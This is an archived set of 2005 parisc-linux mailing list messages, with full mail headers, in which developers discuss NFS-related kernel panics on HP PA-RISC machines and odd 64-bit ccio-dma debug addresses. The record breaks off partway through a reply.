Approved: news@gmane.org
Message-ID: <20050512150535.GB15173@colo.lackof.org>
References: <20050512144617.5b3569d9.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623783 14565 80.91.229.3 (22 Nov 2014 02:36:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Guy Martin <gmsoft@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 May 2005 15:02:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 12 May 2005 17:02:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BCAEB7D633;
	Thu, 12 May 2005 09:02:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32335-06; Thu, 12 May 2005 09:02:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D5857D629;
	Thu, 12 May 2005 09:02:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0CB2D7D615
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 09:02:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32335-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 09:02:42 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 7D1277D611
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 09:02:42 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id E568F298066;
	Thu, 12 May 2005 09:05:35 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14541-07; Thu, 12 May 2005 09:05:35 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 91E4329803C; Thu, 12 May 2005 09:05:35 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050512144617.5b3569d9.gmsoft@gentoo.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cxXxYvcyeSEkaL6WZHQhaXN1IGRvb4CW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22710

On Thu, May 12, 2005 at 02:46:17PM +0200, Guy Martin wrote:
> 
> Hello guys,
> 
> Many users are reporting me problems with kernel after 2.6.10-pa11.

Just to make sure I understand: 2.6.10-pa11 works fine?
And this NFS problem is with any 2.6.11 kernels?

I ask because 2.6.10-pa11 was the last parisc specific version
and was committed to CVS exactly 4 monthes ago: 2005/01/12

> I've had the problem myself on both my C3600 and my B180L.
> When you upload or download big files via NFS, the kernel crash with no
> more message than :
> Kernel panic - not syncing
> 
> The nfs share can be either udp or tcp. That doesn't matter.
> 
> Is this a know problem ? Is there a workaround (don't tell me samba :) ?

Sorry, I don't.
My advice is to troll for 2.6.11 bug reports on netdev or linux-kernel
mailing lists. Ie. abuse google for "linux 2.6.11 NFS bug" searches
and variants of those (or additional) keywords.

> Feel free to ask if you want more info or if you want me to do some
> tests.

Has anyone tried to reproduce this with 2.6.12-rc3 or -rc4 kernels?

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NFS problems : kernel panic
Date: Thu, 12 May 2005 17:14:04 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <20050512171404.002d5de6.gmsoft@gentoo.org>
References: <20050512144617.5b3569d9.gmsoft@gentoo.org>
	<20050512150535.GB15173@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1334385626=="
X-Trace: ger.gmane.org 1416623783 14571 80.91.229.3 (22 Nov 2014 02:36:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 May 2005 15:14:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 12 May 2005 17:14:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 099277D63B;
	Thu, 12 May 2005 09:14:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32767-04; Thu, 12 May 2005 09:14:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 00B177D641;
	Thu, 12 May 2005 09:14:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 615657D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 09:14:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32466-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 09:14:18 -0600 (MDT)
Original-Received: from av-tac-rtp.cisco.com (hen.cisco.com [64.102.19.198])
	by free.linux.hp.com (Postfix) with ESMTP id B0C8F7D637
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 09:14:18 -0600 (MDT)
X-TACSUNS: Virus Scanned
Original-Received: from strange-brew.cisco.com (localhost [127.0.0.1])
	by av-tac-rtp.cisco.com (8.11.7p1+Sun/8.11.7) with ESMTP id
	j4CFE8909684; Thu, 12 May 2005 11:14:12 -0400 (EDT)
Original-Received: from localhost (dhcp-peg3-vl30-144-254-7-158.cisco.com
	[144.254.7.158])
	by strange-brew.cisco.com (8.11.7p1+Sun/8.11.7) with SMTP id
	j4CFE7K02415; Thu, 12 May 2005 17:14:07 +0200 (CEST)
In-Reply-To: <20050512150535.GB15173@colo.lackof.org>
X-Mailer: Sylpheed version 1.0.4 (GTK+ 1.2.10; i686-pc-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gRfxYo4peSEkf76WZHQhaXN1IGRvb0CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22711

--===============1334385626==
Content-Type: multipart/signed; protocol="application/pgp-signature";
	micalg="PGP-SHA1";
	boundary="Signature=_Thu__12_May_2005_17_14_04_+0200_Z14UVkLhr3fHwF9p"

--Signature=_Thu__12_May_2005_17_14_04_+0200_Z14UVkLhr3fHwF9p
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 12 May 2005 09:05:35 -0600
Grant Grundler <grundler@parisc-linux.org> wrote:

> Just to make sure I understand: 2.6.10-pa11 works fine?
> And this NFS problem is with any 2.6.11 kernels?

Yes, 2.6.10-pa11 works fine but kernels after this one breaks, up to the
latest 2.6.12-rc4-pa2 with which I just tried.

> I ask because 2.6.10-pa11 was the last parisc specific version
> and was committed to CVS exactly 4 monthes ago: 2005/01/12
>=20
> > Is this a know problem ? Is there a workaround (don't tell me samba
> > :) ?
>=20
> Sorry, I don't.
> My advice is to troll for 2.6.11 bug reports on netdev or linux-kernel
> mailing lists. Ie. abuse google for "linux 2.6.11 NFS bug" searches
> and variants of those (or additional) keywords.

Ok I'll do. Btw I don't have this problem on my x86 boxes. I may also
not be a NFS bug but maybe a network driver related problem or else.
However it works fine using samba but samba is slower than NFS tho.

I should do some test using netcat or any other way to generate a high
traffic load on the interface. But right now, I only had reports of
users complaining about NFS.

Are you able to reproduce the problem ?

Thanks

--=20
Guy Martin
Gentoo Linux - HPPA port Lead / IPv6 team

--Signature=_Thu__12_May_2005_17_14_04_+0200_Z14UVkLhr3fHwF9p
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQFCg3K/rpShrnoH4YYRAnUaAJ9wpbNaDwL4dC9i/aOviY9cTCttXQCgtTIj
CqjTOlUVlzKRjXliYwCy8Z0=
=mjp9
-----END PGP SIGNATURE-----

--Signature=_Thu__12_May_2005_17_14_04_+0200_Z14UVkLhr3fHwF9p--

--===============1334385626==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1334385626==--



From - Thu Nov 08 21:33:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NFS problems : kernel panic
Date: Thu, 12 May 2005 09:25:37 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20050512152537.GF15173@colo.lackof.org>
References: <20050512144617.5b3569d9.gmsoft@gentoo.org>
	<20050512150535.GB15173@colo.lackof.org>
	<20050512171404.002d5de6.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623783 14580 80.91.229.3 (22 Nov 2014 02:36:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Guy Martin <gmsoft@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 May 2005 15:22:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 12 May 2005 17:22:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A94DA7D659;
	Thu, 12 May 2005 09:22:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00606-01; Thu, 12 May 2005 09:22:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1B957D653;
	Thu, 12 May 2005 09:22:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF5E57D651
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 09:22:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00511-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 09:22:44 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 691127D64F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 09:22:44 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0A29C298066;
	Thu, 12 May 2005 09:25:38 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17000-07; Thu, 12 May 2005 09:25:37 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C811F29803C; Thu, 12 May 2005 09:25:37 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050512171404.002d5de6.gmsoft@gentoo.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nxHxYjNweSEkQ76WZHQhaXN1IGRvbwCY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22712

On Thu, May 12, 2005 at 05:14:04PM +0200, Guy Martin wrote:
> Yes, 2.6.10-pa11 works fine but kernels after this one breaks, up to the
> latest 2.6.12-rc4-pa2 with which I just tried.

ok - that's good to know.

> I should do some test using netcat or any other way to generate a high
> traffic load on the interface. But right now, I only had reports of
> users complaining about NFS.

Yeah, given the samba works, and regular networking I assume works,
someone will have to explain how NFS is different to me.

> Are you able to reproduce the problem ?

I can't try right now. I'm trying to cleanup the uses of RFI
in the asm code and it's working. I should finish that this weekend
and then need to work on mpt/fusion driver HPMC.

If someone else does, please post results.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ccio-dma 64bit debug_init info
Date: Thu, 12 May 2005 19:37:27 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <4282FEEE00000637@mail-6-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623784 14589 80.91.229.3 (22 Nov 2014 02:36:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 May 2005 17:37:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 12 May 2005 19:37:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A68E27D657;
	Thu, 12 May 2005 11:37:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01207-01; Thu, 12 May 2005 11:37:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7382C7D64F;
	Thu, 12 May 2005 11:37:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 173397D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 11:37:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00859-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 11:37:38 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 702907D637
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 11:37:38 -0600 (MDT)
Original-Received: from mail-6-bnl.mail.tiscali.sys ([10.39.115.136]
	helo=mail-6-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43) id 1DWHcn-0007KF-CQ
	for parisc-linux@lists.parisc-linux.org; Thu, 12 May 2005 19:37:31 +0200
Original-Received: from [57.67.177.33] by mail-6-bnl.tiscali.it with HTTP;
	Thu, 12 May 2005 19:37:27 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IPHxYsITeSEkMb6WZHQhaXN1IGRvb4CQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22713

Hello all,

I try to figure out what's wrong with ccio-dma for 64bit and put on DEBUG=
_INIT
an collect:
for 32bit kernel:
...
Setting cache flush threshold to 20 (1 CPUs online)
Found U2 at 0xfff88000
ccio_ioc_init() hpa 0xfff88000 mem 256MB IOV 128MB (27 bits)
 base 10740000
ccio_ioc_init() res_size 0x1000
 chainid_shift 0x13 
Found U2 at 0xfff8a000
ccio_ioc_init() hpa 0xfff8a000 mem 256MB IOV 128MB (27 bits) 
 base 10780000 
ccio_ioc_init() res_size 0x1000
 chainid_shift 0x13 
Lasi version 0 at 0xffd00000 found.
...

Otc for 64bit kernel:
...
Setting cache flush threshold to ee7c0 (1 CPUs online)
Found U2 at 0xfffffffffff88000
ccio_ioc_init() hpa 0xfffffffffff88000 mem 256MB IOV 128MB (27 bits) 
 base 0000000010a80000 
ccio_ioc_init() res_size 0x1000
 chainid_shift 0x13 
Found U2 at 0xfffffffffff8a000
ccio_ioc_init() hpa 0xfffffffffff8a000 mem 256MB IOV 128MB (27 bits) 
 base 0000000010ac0000
ccio_ioc_init() res_size 0x1000
 chainid_shift 0x13 
...

mmm base address seems to be wrong.

Any idea from where came this pb?

Thanks,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ccio-dma 64bit debug_init info
Date: Thu, 12 May 2005 11:47:13 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20050512174713.GL15173@colo.lackof.org>
References: <4282FEEE00000637@mail-6-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623784 14596 80.91.229.3 (22 Nov 2014 02:36:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 May 2005 17:44:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 12 May 2005 19:44:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B3247D65A;
	Thu, 12 May 2005 11:44:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01207-06; Thu, 12 May 2005 11:44:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E9C857D65B;
	Thu, 12 May 2005 11:44:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A38967D658
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 11:44:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01207-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 11:44:20 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 1F0287D653
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 May 2005 11:44:20 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id DCD76298066;
	Thu, 12 May 2005 11:47:13 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27208-03; Thu, 12 May 2005 11:47:13 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A605629803C; Thu, 12 May 2005 11:47:13 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4282FEEE00000637@mail-6-bnl.tiscali.it>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ofDxYsxqeSEkXb6WZHQhaXN1IGRvb0Ca
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22714

On Thu, May 12, 2005 at 07:37:27PM +0200, Joel Soete wrote:
> Hello all,
> 
> I try to figure out what's wrong with ccio-dma for 64bit and put on DEBUG_INIT
> an collect:
> for 32bit kernel:
